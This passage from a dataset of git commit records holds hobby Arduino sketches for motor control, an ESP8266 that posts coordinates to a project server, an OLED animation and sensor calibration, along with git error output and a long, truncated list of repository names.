test\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/omniwheel2.ino","new_file":"testing\/arduino\/omniwheel2.ino","new_contents":"#include \"Arduino.h\"\n\n\nint motorPin1_1 = 4;\nint motorPin1_2 = 5;\nint motorPin1_speed = 3;\n\nint motorPin2_1 = 7;\nint motorPin2_2 = 8;\nint motorPin2_speed = 6;\n\nint motorPin3_1 = 10;\nint motorPin3_2 = 11;\nint motorPin3_speed = 9;\n\nint globalSpeedInit = 255;\nint reducedSpeed = globalSpeedInit * 0.09;\n\nint encoderValue_A = 0;\nint encoderValue_B = 0;\nint encoder_PinA = A2;\nint encoder_PinB = A3;\n\n\nvoid setup()\n{\n Serial.begin(9600);\n while (!Serial)\n ;\n Serial.println(\"Init\");\n\n pinMode(motorPin1_1, OUTPUT);\n pinMode(motorPin1_2, OUTPUT);\n pinMode(motorPin1_speed, OUTPUT);\n\n pinMode(motorPin2_1, OUTPUT);\n pinMode(motorPin2_2, OUTPUT);\n pinMode(motorPin2_speed, OUTPUT);\n\n pinMode(motorPin3_1, OUTPUT);\n pinMode(motorPin3_2, OUTPUT);\n pinMode(motorPin3_speed, OUTPUT);\n}\n\n\nvoid SetMotor(int pinSpeed, int pin1, int pin2, int speed)\n{\n analogWrite(pinSpeed, abs(speed));\n if (speed < 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 255);\n }\n else\n {\n analogWrite(pin1, 255);\n analogWrite(pin2, 0);\n }\n\n if (speed == 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 0);\n }\n}\n\n\n\n\nvoid loop()\n{\n \/*\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, 0);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, 0);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, 0);\n delay(2000);\n *\/\n int direction = 0;\n Serial.println(degrees(direction));\n Serial.println(degrees(direction+90));\n Serial.println(atan2(1, 0));\n int deg1 = 60;\n int deg2 = 180;\n int deg3 = 300;\n\n float vx = cos(direction) * 255;\n float vy = sin(direction) * 255;\n\n Serial.println(vx);\n Serial.println(vy);\n\n Serial.print(\"----------\\n\");\n\n float w3 = -vx;\n float w2 = 0.5 * vx - sqrt(3)\/2 * vy;\n float w1 = 0.5 * vx + sqrt(3)\/2 * vy;\n\n int map1 = map(abs(w1), 0, 600, 0, 255);\n int map2 = map(abs(w2), 0, 600, 0, 255);\n int map3 = map(abs(w3), 0, 600, 0, 255);\n\n Serial.println(w1);\n Serial.println(w2);\n Serial.println(w3);\n\n Serial.print(\"----------\\n\");\n\n Serial.println(map1);\n Serial.println(map2);\n Serial.println(map3);\n\n\/*\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, w1);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, w2);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, w3);\n delay(2500);\n*\/\n\/*\n float F1 = globalSpeedInit * cos(deg1 - direction);\n float F2 = globalSpeedInit * cos(deg2 - direction);\n float F3 = globalSpeedInit * cos(deg3 - direction);\n\n Serial.println(F1);\n Serial.println(F2);\n Serial.println(F3);\n*\/\n\/*\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, F1);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, F2);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, F3);\n delay(2500);\n*\/\n\n delay(100000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/omniwheel2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5bd94f572ac46cdde6be1b0f596011c6b31cba22","subject":"Send coordinates with ESP8266","message":"Send coordinates with ESP8266\n","repos":"bufsm\/bufsm,bufsm\/bufsm,bufsm\/bufsm,bufsm\/bufsm,bufsm\/bufsm","old_file":"test\/test.ino","new_file":"test\/test.ino","new_contents":"\/*\nBUFSM\n~~~~~~~~\nSend coordinates over wi-fi using ESP-8266\n\n*\/\n\n#include <ESP8266WiFi.h>\n#include <ESP8266HTTPClient.h>\n\nconst char* ssid = \"AP-PREDIO320\";\nconst char* password = \"naocompilavei\";\nconst char* host = \"bufsm.dalmago.xyz\";\nString url = \"\/api\/things\";\nWiFiClient client;\n\nchar* lng[]={\"-29.71946\",\"-29.71943\",\"-29.71936\", \"-29.71933\", \"-29.71927\",\n\"-29.71909\", \"-29.71918\", \"-29.6887613\", \"29.71905\", \"-29.71897\"};\nchar* lat[]={\"-53.71774\",\"-53.71722\",\"-53.71681\", \"-53.7166\", \"-53.71616\",\n\"-53.71534\", \"-53.71472\", \"-53.71424\", \" -53.71376\", \"-53.71316\"};\n\n\n\nvoid setup() {\n Serial.begin(115200);\n delay(100);\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n}\n\nvoid loop() {\n for (int i = 0; i < 6; i++){\n\n String data = \"{\\\"thing\\\":\\\"thing_name\\\", \\\"key\\\":\\\"TOKEN\\\", \\\"lat\\\":\\\"\" +\n String(lat[i]) + \"\\\", \\\"lon\\\":\\\"\" + String(lng[i]) + \"\\\"}\";\n\n if (client.connect(host, 80)){\n client.print(String(\"POST \") + url +\n \" HTTP\/1.1\\r\\n\" + \"Host: \" + host + \"\\r\\n\" +\n \"Content-Type: application\/json\\r\\n\" +\n \"Content-Length: \" + data.length() + \"\\r\\n\" +\n \"\\r\\n\" +\n data + \"\\n\");\n Serial.println(\"Dados enviados\");\n }else{\n Serial.println(\"Erro na conexao\");\n }\n client.stop();\n delay(5000);\n Serial.println(\"......\");\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"517c872682dffec9797d8e579bfd16529491572b","subject":"Modified Neopixel flow code with initial shutoff","message":"Modified Neopixel flow code with initial shutoff\n","repos":"cujomalainey\/Neo-Internal","old_file":"Neo-Internal.ino","new_file":"Neo-Internal.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cujomalainey\/Neo-Internal.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"811d3bdfbc778a8ec7b88e6fddf2178a93ffd03d","subject":"Adds animations.ino","message":"Adds animations.ino\n","repos":"freespace\/xadow-watch,freespace\/xadow-watch","old_file":"animations.ino","new_file":"animations.ino","new_contents":"void animation_boot () {\n oled.drawString(\"[ ]\", (RGB_OLED_WIDTH-FONT_X*5)\/2, RGB_OLED_HEIGHT\/2-FONT_Y\/2, 1, COLOR_BLUE);\n delay(200);\n oled.drawString(\"[| ]\", (RGB_OLED_WIDTH-FONT_X*5)\/2, RGB_OLED_HEIGHT\/2-FONT_Y\/2, 1, COLOR_BLUE);\n delay(200);\n oled.drawString(\"[|| ]\", (RGB_OLED_WIDTH-FONT_X*5)\/2, RGB_OLED_HEIGHT\/2-FONT_Y\/2, 1, COLOR_BLUE);\n delay(200);\n oled.drawString(\"[||| ]\", (RGB_OLED_WIDTH-FONT_X*5)\/2, RGB_OLED_HEIGHT\/2-FONT_Y\/2, 1, COLOR_BLUE);\n delay(200);\n oled.drawString(\"[||||]\", (RGB_OLED_WIDTH-FONT_X*5)\/2, RGB_OLED_HEIGHT\/2-FONT_Y\/2, 1, COLOR_BLUE);\n delay(200);\n oled.drawString(\"[||||]\", (RGB_OLED_WIDTH-FONT_X*5)\/2, RGB_OLED_HEIGHT\/2-FONT_Y\/2, 1, COLOR_BLACK);\n oled.drawString(\"READY!\", (RGB_OLED_WIDTH-FONT_X*5)\/2, RGB_OLED_HEIGHT\/2-FONT_Y\/2, 1, COLOR_BLUE);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'animations.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f287223ad672497c292f23ee4f6bcd039991be96","subject":"Tested code","message":"Tested code","repos":"HassaanAkbar\/BluetoothControlledCar","old_file":"BlueDuinoTest.ino","new_file":"BlueDuinoTest.ino","new_contents":"#define HANDLING 0.5\n\nint motorPins[2][2] = {{5, 6}, {9, 10}};\nint xAxis, yAxis, mag, left, right;\nchar c;\n\nvoid setup() {\n Init();\n}\n\nvoid loop() {\n\n String line = ReadLine();\n UpdateAxis(&xAxis, &yAxis, line);\n mag = sqrt(xAxis * xAxis + yAxis * yAxis);\n mag = constrain(mag, 0, 127);\n\n ToDifferentialDrive(xAxis, yAxis);\n\n DriveMotor(0, left, 128);\n DriveMotor(1, right, 128);\n\n Serial.print(left);\n Serial.print('\\t');\n Serial.println(right);\n\n}\n\nvoid Init()\n{\n Serial.begin(9600);\n Serial.println(\"ready\");\n for (int i = 0; i < 2; i++)\n {\n for (int j = 0; j < 2; j++)\n {\n pinMode(motorPins[i][j], OUTPUT);\n digitalWrite(motorPins[i][j], LOW);\n }\n }\n\n}\n\nvoid DriveMotor(int motor, int spd, int maxSpeed)\n{\n spd = 255 * ((double)spd \/ maxSpeed);\n\n Serial.print(spd);\n Serial.print(\" === \\t\");\n if (spd > 0)\n {\n analogWrite(motorPins[motor][0], spd);\n digitalWrite(motorPins[motor][1], LOW);\n }\n else\n {\n analogWrite(motorPins[motor][0], (255 + spd));\n digitalWrite(motorPins[motor][1], HIGH);\n }\n\n}\n\nvoid StopMotor(int motor)\n{\n digitalWrite(motorPins[motor][0], LOW);\n digitalWrite(motorPins[motor][1], LOW);\n}\n\nString ReadLine()\n{\n String s;\n char c;\n\n while (1)\n {\n if (Serial.available())\n {\n c = Serial.read();\n if (c == '*')\n {\n continue;\n }\n else if (c == '#')\n {\n return s;\n }\n else\n {\n s += c;\n }\n }\n }\n\n}\n\nvoid UpdateAxis(int *x, int *y, String s)\n{\n String s1, s2;\n bool comma;\n\n if (s.length() != 3) return;\n\n *x = (int)(byte)s[0] - 127;\n *y = (int)(byte)s[2] - 127;\n}\n\n\nvoid ToDifferentialDrive(int x, int y)\n{\n if (y > 0)\n {\n if (x < 0)\n {\n left = mag + (HANDLING * x);\n right = mag;\n }\n else\n {\n left = mag;\n right = mag - (HANDLING * x);\n }\n }\n else\n {\n if (x < 0)\n {\n left = -mag;\n right = -mag - x;\n }\n else\n {\n left = -mag + x;\n right = -mag;\n }\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BlueDuinoTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ee67788ab4b8ea6a604dfef369acb0877d314779","subject":"arduino calibration code","message":"arduino calibration code\n","repos":"pennestri\/mq3","old_file":"arduino\/mq3_calibration\/mq3_calibration.ino","new_file":"arduino\/mq3_calibration\/mq3_calibration.ino","new_contents":"\/*\nAuthor: Pietro Pennestri'\nMail:pietro.pennestri@gmail.com\nWebsite: http:\/\/www.pennestri.me\nDate: May 2nd 2015 \n\nDescription:\nCalibration of an MQ3 shield on arduino board. \nThe voltage is displayed when the sensor is exposed at a known \nalcohol concentration. Temperature is also recorded\nfor future adjustments.\n*\/\n\nint mq3_analogPin = A5; \/\/ connected to the output pin of MQ3 \nint val;\nint tempPin = 1;\nunsigned long time;\nunsigned long time_in_second;\nvoid setup(){\n Serial.begin(9600); \/\/ open serial at 9600 bps\n}\n\nvoid loop()\n{\n \/\/ give ample warmup time for readings to stabilize\n float arduino_voltage = 5 ;\n int mq3_value = analogRead(mq3_analogPin);\n float voltage = mq3_value * (arduino_voltage \/ 1023.0);\n \n \/\/ get temperature\n val = analogRead(tempPin);\n float mv = ( val\/1024.0)*5000; \n float temperature = mv\/10; \/\/ celsius\n \n \/\/tieme\n time = millis();\n time_in_second = time\/1000 ;\n \n \/\/Serial.print(\"Voltage=\");\n Serial.print(voltage);\n Serial.print(\"*\");\n \/\/Serial.print(\" Temperature(C): \");\n Serial.print(temperature);\n Serial.print(\"*\");\n \/\/Serial.print(\" Time(S): \");\n Serial.print(time_in_second);\n Serial.print(\"\\n\");\n \n delay(1000); \/\/slow down output \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/mq3_calibration\/mq3_calibration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4b886ef421766dcaea3ea185dd8881d39ee5b714","subject":"Added ReadAnalogVoltage example","message":"Added ReadAnalogVoltage example\n","repos":"ogahara\/Arduino,koltegirish\/Arduino,zederson\/Arduino,Cloudino\/Cloudino-Arduino-IDE,PaoloP74\/Arduino,01org\/Arduino,bugobliterator\/BUAGI,tskurauskas\/Arduino,lukeWal\/Arduino,spapadim\/Arduino,adafruit\/ESP8266-Arduino,tbowmo\/Arduino,piersoft\/esp8266-Arduino,karlitxo\/Arduino,sanyaade-iot\/Arduino-1,lulufei\/Arduino,niggor\/Arduino_cc,wdoganowski\/Arduino,PaintYourDragon\/Arduino,ashwin713\/Arduino,ogahara\/Arduino,lulufei\/Arduino,stevemayhew\/Arduino,me-no-dev\/Arduino-1,NeuralSpaz\/Arduino,onovy\/Arduino,01org\/Arduino,rodibot\/Arduino,henningpohl\/Arduino,stevemayhew\/Arduino,probonopd\/Arduino,eeijcea\/Arduino-1,UDOOboard\/Arduino,leftbrainstrain\/Arduino-ESP8266,bugobliterator\/BUAGI,arunkuttiyara\/Arduino,acosinwork\/Arduino,tskurauskas\/Arduino,stevemarple\/Arduino-org,drpjk\/Arduino,jaej-dev\/Arduino,wayoda\/Arduino,bsmr-arduino\/Arduino,gberl001\/Arduino,NeuralSpaz\/Arduino,kidswong999\/Arduino,wdoganowski\/Arduino,PaintYourDragon\/Arduino,plinioseniore\/Arduino,eggfly\/arduino,paulo-raca\/ESP8266-Arduino,noahchense\/Arduino-1,me-no-dev\/Arduino-1,majenkotech\/Arduino,paulmand3l\/Arduino,tbowmo\/Arduino,zederson\/Arduino,danielchalef\/Arduino,radut\/Arduino,lulufei\/Arduino,superboonie\/Arduino,adafruit\/ESP8266-Arduino,eggfly\/arduino,Chris--A\/Arduino,tbowmo\/Arduino,jaej-dev\/Arduino,Cloudino\/Cloudino-Arduino-IDE,fungxu\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,championswimmer\/Arduino,Ramoonus\/Arduino,sanyaade-iot\/Arduino-1,Ramoonus\/Arduino,ntruchsess\/Arduino-1,raimohanska\/Arduino,jomolinare\/Arduino,talhaburak\/Arduino,jabezGit\/Arduino,Cloudino\/Cloudino-Arduino-IDE,SmartArduino\/Arduino-1,ektor5\/Arduino,drpjk\/Arduino,onovy\/Arduino,andrealmeidadomingues\/Arduino,NeuralSpaz\/Arduino,tbowmo\/Arduino,eeijcea\/Arduino-1,shiitakeo\/Arduino,cscenter\/Arduino,Gourav2906\/Arduino,ForestNymph\/Arduino_sources,NicoHood\/Arduino,OpenDevice\/Arduino,ogahara\/Arduino,drpjk\/Arduino,mboufos\/esp8266-Arduino,shannonshsu\/Arduino,ari-analytics\/Arduino,OpenDevice\/Arduino,sanyaade-iot\/Arduino-1,me-no-dev\/Arduino-1,ThoughtWorksIoTGurgaon\/Arduino,damellis\/Arduino,vbextreme\/Arduino,ektor5\/Arduino,linino\/Arduino,noahchense\/Arduino-1,spapadim\/Arduino,henningpohl\/Arduino,eddyst\/Arduino-SourceCode,pdNor\/Arduino,lukeWal\/Arduino,PeterVH\/Arduino,niggor\/Arduino_cc,gurbrinder\/Arduino,ogferreiro\/Arduino,arduino-org\/Arduino,onovy\/Arduino,mateuszdw\/Arduino,NaSymbol\/Arduino,PaintYourDragon\/Arduino,majenkotech\/Arduino,piersoft\/esp8266-Arduino,tommyli2014\/Arduino,gurbrinder\/Arduino,Chris--A\/Arduino,adamkh\/Arduino,ricklon\/Arduino,Chris--A\/Arduino,bsmr-arduino\/Arduino,stevemayhew\/Arduino,Cloudino\/Cloudino-Arduino-IDE,nandojve\/Arduino,eduardocasarin\/Arduino,lukeWal\/Arduino,381426068\/Arduino,ricklon\/Arduino,nkolban\/Arduino,SmartArduino\/Arduino-1,zenmanenergy\/Arduino,adamkh\/Arduino,HCastano\/Arduino,mangelajo\/Arduino,wilhelmryan\/Arduino,vbextreme\/Arduino,jaehong\/Xmegaduino,PeterVH\/Arduino,Cloudino\/Arduino,zaiexx\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Ramoonus\/Arduino,tomkrus007\/Arduino,ForestNymph\/Arduino_sources,shiitakeo\/Arduino,piersoft\/esp8266-Arduino,andyvand\/Arduino-1,weera00\/Arduino,UDOOboard\/Arduino,SmartArduino\/Arduino-1,jamesrob4\/Arduino,NicoHood\/Arduino,01org\/Arduino,raimohanska\/Arduino,adamkh\/Arduino,NaSymbol\/Arduino,paulo-raca\/ESP8266-Arduino,ms-iot\/Arduino,EmuxEvans\/Arduino,stevemarple\/Arduino,leftbrainstrain\/Arduino-ESP8266,tomkrus007\/Arduino,me-no-dev\/Arduino-1,jaimemaretoli\/Arduino,jamesrob4\/Arduino,ogferreiro\/Arduino,PeterVH\/Arduino,stickbreaker\/Arduino,ashwin713\/Arduino,linino\/Arduino,UDOOboard\/Arduino,adamkh\/Arduino,Chris--A\/Arduino,vbextreme\/Arduino,tommyli2014\/Arduino,ForestNymph\/Arduino_sources,gurbrinder\/Arduino,mangelajo\/Arduino,HCastano\/Arduino,arduino-org\/Arduino,gestrem\/Arduino,ogferreiro\/Arduino,steamboating\/Arduino,paulo-raca\/ESP8266-Arduino,NaSymbol\/Arduino,mattvenn\/Arduino,wilhelmryan\/Arduino,Ramoonus\/Arduino,eddyst\/Arduino-SourceCode,ari-analytics\/Arduino,PaintYourDragon\/Arduino,jamesrob4\/Arduino,gestrem\/Arduino,linino\/Arduino,bigjosh\/Arduino,lulufei\/Arduino,chaveiro\/Arduino,bsmr-arduino\/Arduino,steamboating\/Arduino,eduardocasarin\/Arduino,tomkrus007\/Arduino,ashwin713\/Arduino,chaveiro\/Arduino,ricklon\/Arduino,ssvs111\/Arduino,KlaasDeNys\/Arduino,arunkuttiyara\/Arduino,Cloudino\/Arduino,Protoneer\/Arduino,laylthe\/Arduino,shiitakeo\/Arduino,raimohanska\/Arduino,plaintea\/esp8266-Arduino,wilhelmryan\/Arduino,andrealmeidadomingues\/Arduino,tommyli2014\/Arduino,mangelajo\/Arduino,bsmr-arduino\/Arduino,jabezGit\/Arduino,championswimmer\/Arduino,probonopd\/Arduino,tomkrus007\/Arduino,aichi\/Arduino-2,ThoughtWorksIoTGurgaon\/Arduino,NicoHood\/Arduino,KlaasDeNys\/Arduino,OpenDevice\/Arduino,jaehong\/Xmegaduino,chaveiro\/Arduino,byran\/Arduino,radut\/Arduino,acosinwork\/Arduino,garci66\/Arduino,sanyaade-iot\/Arduino-1,gestrem\/Arduino,ashwin713\/Arduino,fungxu\/Arduino,HCastano\/Arduino,ari-analytics\/Arduino,gonium\/Arduino,PeterVH\/Arduino,nkolban\/Arduino,bugobliterator\/BUAGI,championswimmer\/Arduino,ssvs111\/Arduino,steamboating\/Arduino,gonium\/Arduino,leftbrainstrain\/Arduino-ESP8266,andyvand\/Arduino-1,radut\/Arduino,odbol\/Arduino,snargledorf\/Arduino,andrealmeidadomingues\/Arduino,arunkuttiyara\/Arduino,ricklon\/Arduino,wayoda\/Arduino,tbowmo\/Arduino,bigjosh\/Arduino,snargledorf\/Arduino,wayoda\/Arduino,SmartArduino\/Arduino-1,bigjosh\/Arduino,plinioseniore\/Arduino,eduardocasarin\/Arduino,NicoHood\/Arduino,jabezGit\/Arduino,PaintYourDragon\/Arduino,acosinwork\/Arduino,bugobliterator\/BUAGI,stevemarple\/Arduino,radut\/Arduino,diydrones\/Arduino,me-no-dev\/Arduino-1,karlitxo\/Arduino,superboonie\/Arduino,andyvand\/Arduino-1,jaej-dev\/Arduino,ntruchsess\/Arduino-1,xxxajk\/Arduino-1,laylthe\/Arduino,wdoganowski\/Arduino,benwolfe\/esp8266-Arduino,myrtleTree33\/Arduino,linino\/Arduino,jaehong\/Xmegaduino,Gourav2906\/Arduino,jamesrob4\/Arduino,EmuxEvans\/Arduino,ogahara\/Arduino,wayoda\/Arduino,mc-hamster\/esp8266-Arduino,adamkh\/Arduino,arunkuttiyara\/Arduino,andyvand\/Arduino-1,adafruit\/ESP8266-Arduino,karlitxo\/Arduino,niggor\/Arduino_cc,gurbrinder\/Arduino,leftbrainstrain\/Arduino-ESP8266,UDOOboard\/Arduino,Chris--A\/Arduino,HCastano\/Arduino,stevemarple\/Arduino-org,rodibot\/Arduino,nkolban\/Arduino,andrealmeidadomingues\/Arduino,bigjosh\/Arduino,laylthe\/Arduino,zenmanenergy\/Arduino,xxxajk\/Arduino-1,majenkotech\/Arduino,noahchense\/Arduino-1,jmgonzalez00449\/Arduino,scdls\/Arduino,jomolinare\/Arduino,plaintea\/esp8266-Arduino,zederson\/Arduino,mangelajo\/Arduino,paulmand3l\/Arduino,mateuszdw\/Arduino,Alfredynho\/AgroSis,Cloudino\/Arduino,SmartArduino\/Arduino-1,chaveiro\/Arduino,rcook\/DesignLab,snargledorf\/Arduino,tomkrus007\/Arduino,ari-analytics\/Arduino,paulmand3l\/Arduino,jmgonzalez00449\/Arduino,tomkrus007\/Arduino,henningpohl\/Arduino,damellis\/Arduino,UDOOboard\/Arduino,ms-iot\/Arduino,ogahara\/Arduino,shannonshsu\/Arduino,sanyaade-iot\/Arduino-1,tannewt\/Arduino,shannonshsu\/Arduino,niggor\/Arduino_cc,rcook\/DesignLab,01org\/Arduino,damellis\/Arduino,NeuralSpaz\/Arduino,chaveiro\/Arduino,damellis\/Arduino,zenmanenergy\/Arduino,plaintea\/esp8266-Arduino,tannewt\/Arduino,benwolfe\/esp8266-Arduino,ikbelkirasan\/Arduino,eggfly\/arduino,mc-hamster\/esp8266-Arduino,ikbelkirasan\/Arduino,KlaasDeNys\/Arduino,garci66\/Arduino,probonopd\/Arduino,myrtleTree33\/Arduino,gonium\/Arduino,sanyaade-iot\/Arduino-1,lukeWal\/Arduino,wdoganowski\/Arduino,steamboating\/Arduino,nkolban\/Arduino,ssvs111\/Arduino,ogahara\/Arduino,Alfredynho\/AgroSis,vbextreme\/Arduino,ntruchsess\/Arduino-1,ricklon\/Arduino,zenmanenergy\/Arduino,scdls\/Arduino,mateuszdw\/Arduino,ari-analytics\/Arduino,niggor\/Arduino_cc,Orthogonal-Systems\/arduino-libs,ogferreiro\/Arduino,piersoft\/esp8266-Arduino,stevemayhew\/Arduino,myrtleTree33\/Arduino,arunkuttiyara\/Arduino,ikbelkirasan\/Arduino,mboufos\/esp8266-Arduino,henningpohl\/Arduino,fungxu\/Arduino,steamboating\/Arduino,nandojve\/Arduino,laylthe\/Arduino,chaveiro\/Arduino,ogahara\/Arduino,HCastano\/Arduino,chaveiro\/Arduino,lukeWal\/Arduino,NaSymbol\/Arduino,stevemarple\/Arduino-org,Gourav2906\/Arduino,Cloudino\/Arduino,steamboating\/Arduino,scdls\/Arduino,Chris--A\/Arduino,danielchalef\/Arduino,vbextreme\/Arduino,aichi\/Arduino-2,linino\/Arduino,KlaasDeNys\/Arduino,stickbreaker\/Arduino,mboufos\/esp8266-Arduino,pdNor\/Arduino,KlaasDeNys\/Arduino,ari-analytics\/Arduino,danielchalef\/Arduino,ntruchsess\/Arduino-1,jaimemaretoli\/Arduino,gestrem\/Arduino,jamesrob4\/Arduino,drpjk\/Arduino,tomkrus007\/Arduino,jomolinare\/Arduino,NicoHood\/Arduino,381426068\/Arduino,eeijcea\/Arduino-1,radut\/Arduino,stevemayhew\/Arduino,bugobliterator\/BUAGI,mc-hamster\/esp8266-Arduino,wilhelmryan\/Arduino,Chris--A\/Arduino,arduino-org\/Arduino,PaoloP74\/Arduino,arunkuttiyara\/Arduino,majenkotech\/Arduino,381426068\/Arduino,weera00\/Arduino,danielchalef\/Arduino,shiitakeo\/Arduino,rcook\/DesignLab,KlaasDeNys\/Arduino,tskurauskas\/Arduino,ForestNymph\/Arduino_sources,stevemayhew\/Arduino,tomkrus007\/Arduino,eeijcea\/Arduino-1,arduino-org\/Arduino,weera00\/Arduino,01org\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,cscenter\/Arduino,damellis\/Arduino,acosinwork\/Arduino,ektor5\/Arduino,rodibot\/Arduino,stevemarple\/Arduino,odbol\/Arduino,jaimemaretoli\/Arduino,niggor\/Arduino_cc,superboonie\/Arduino,EmuxEvans\/Arduino,PaoloP74\/Arduino,OpenDevice\/Arduino,ccoenen\/Arduino,gurbrinder\/Arduino,bsmr-arduino\/Arduino,spapadim\/Arduino,Gourav2906\/Arduino,Protoneer\/Arduino,pdNor\/Arduino,byran\/Arduino,zaiexx\/Arduino,snargledorf\/Arduino,talhaburak\/Arduino,noahchense\/Arduino-1,talhaburak\/Arduino,gestrem\/Arduino,EmuxEvans\/Arduino,wdoganowski\/Arduino,ccoenen\/Arduino,wilhelmryan\/Arduino,mangelajo\/Arduino,jamesrob4\/Arduino,shiitakeo\/Arduino,ikbelkirasan\/Arduino,NaSymbol\/Arduino,zenmanenergy\/Arduino,bigjosh\/Arduino,mc-hamster\/esp8266-Arduino,jabezGit\/Arduino,Alfredynho\/AgroSis,superboonie\/Arduino,Cloudino\/Cloudino-Arduino-IDE,steamboating\/Arduino,cscenter\/Arduino,KlaasDeNys\/Arduino,Alfredynho\/AgroSis,Cloudino\/Arduino,talhaburak\/Arduino,stevemayhew\/Arduino,HCastano\/Arduino,kidswong999\/Arduino,zederson\/Arduino,HCastano\/Arduino,zaiexx\/Arduino,garci66\/Arduino,mattvenn\/Arduino,talhaburak\/Arduino,eggfly\/arduino,chaveiro\/Arduino,shannonshsu\/Arduino,ikbelkirasan\/Arduino,plaintea\/esp8266-Arduino,jabezGit\/Arduino,PaintYourDragon\/Arduino,Protoneer\/Arduino,eeijcea\/Arduino-1,gberl001\/Arduino,andyvand\/Arduino-1,381426068\/Arduino,stickbreaker\/Arduino,Protoneer\/Arduino,wayoda\/Arduino,aichi\/Arduino-2,bsmr-arduino\/Arduino,jmgonzalez00449\/Arduino,niggor\/Arduino_cc,EmuxEvans\/Arduino,jmgonzalez00449\/Arduino,bigjosh\/Arduino,probonopd\/Arduino,snargledorf\/Arduino,tskurauskas\/Arduino,odbol\/Arduino,gberl001\/Arduino,zaiexx\/Arduino,garci66\/Arduino,ashwin713\/Arduino,tommyli2014\/Arduino,PeterVH\/Arduino,cscenter\/Arduino,koltegirish\/Arduino,onovy\/Arduino,spapadim\/Arduino,byran\/Arduino,tommyli2014\/Arduino,OpenDevice\/Arduino,probonopd\/Arduino,rcook\/DesignLab,drpjk\/Arduino,drpjk\/Arduino,acosinwork\/Arduino,probonopd\/Arduino,weera00\/Arduino,UDOOboard\/Arduino,wayoda\/Arduino,eddyst\/Arduino-SourceCode,tskurauskas\/Arduino,adafruit\/ESP8266-Arduino,smily77\/Arduino,mateuszdw\/Arduino,NaSymbol\/Arduino,eduardocasarin\/Arduino,lukeWal\/Arduino,noahchense\/Arduino-1,nandojve\/Arduino,koltegirish\/Arduino,spapadim\/Arduino,tskurauskas\/Arduino,odbol\/Arduino,PaoloP74\/Arduino,pdNor\/Arduino,wdoganowski\/Arduino,PaoloP74\/Arduino,laylthe\/Arduino,eddyst\/Arduino-SourceCode,henningpohl\/Arduino,smily77\/Arduino,adafruit\/ESP8266-Arduino,toddtreece\/esp8266-Arduino,radut\/Arduino,garci66\/Arduino,Chris--A\/Arduino,mattvenn\/Arduino,linino\/Arduino,zaiexx\/Arduino,nkolban\/Arduino,zederson\/Arduino,niggor\/Arduino_cc,mboufos\/esp8266-Arduino,damellis\/Arduino,myrtleTree33\/Arduino,ssvs111\/Arduino,laylthe\/Arduino,Ramoonus\/Arduino,shiitakeo\/Arduino,pdNor\/Arduino,eddyst\/Arduino-SourceCode,paulmand3l\/Arduino,ari-analytics\/Arduino,byran\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,rodibot\/Arduino,henningpohl\/Arduino,jaej-dev\/Arduino,bsmr-arduino\/Arduino,arduino-org\/Arduino,jaimemaretoli\/Arduino,HCastano\/Arduino,benwolfe\/esp8266-Arduino,koltegirish\/Arduino,stickbreaker\/Arduino,andrealmeidadomingues\/Arduino,eeijcea\/Arduino-1,zenmanenergy\/Arduino,niggor\/Arduino_cc,tommyli2014\/Arduino,zederson\/Arduino,mateuszdw\/Arduino,gberl001\/Arduino,spapadim\/Arduino,eggfly\/arduino,jabezGit\/Arduino,henningpohl\/Arduino,eddyst\/Arduino-SourceCode,stevemayhew\/Arduino,talhaburak\/Arduino,bugobliterator\/BUAGI,381426068\/Arduino,stevemarple\/Arduino-org,rodibot\/Arduino,fungxu\/Arduino,byran\/Arduino,tannewt\/Arduino,onovy\/Arduino,eggfly\/arduino,mattvenn\/Arduino,paulo-raca\/ESP8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,ForestNymph\/Arduino_sources,rcook\/DesignLab,stevemarple\/Arduino-org,majenkotech\/Arduino,ari-analytics\/Arduino,wayoda\/Arduino,nandojve\/Arduino,cscenter\/Arduino,ashwin713\/Arduino,zenmanenergy\/Arduino,zaiexx\/Arduino,ssvs111\/Arduino,majenkotech\/Arduino,xxxajk\/Arduino-1,ssvs111\/Arduino,tannewt\/Arduino,danielchalef\/Arduino,ms-iot\/Arduino,snargledorf\/Arduino,PeterVH\/Arduino,tskurauskas\/Arduino,ccoenen\/Arduino,arunkuttiyara\/Arduino,vb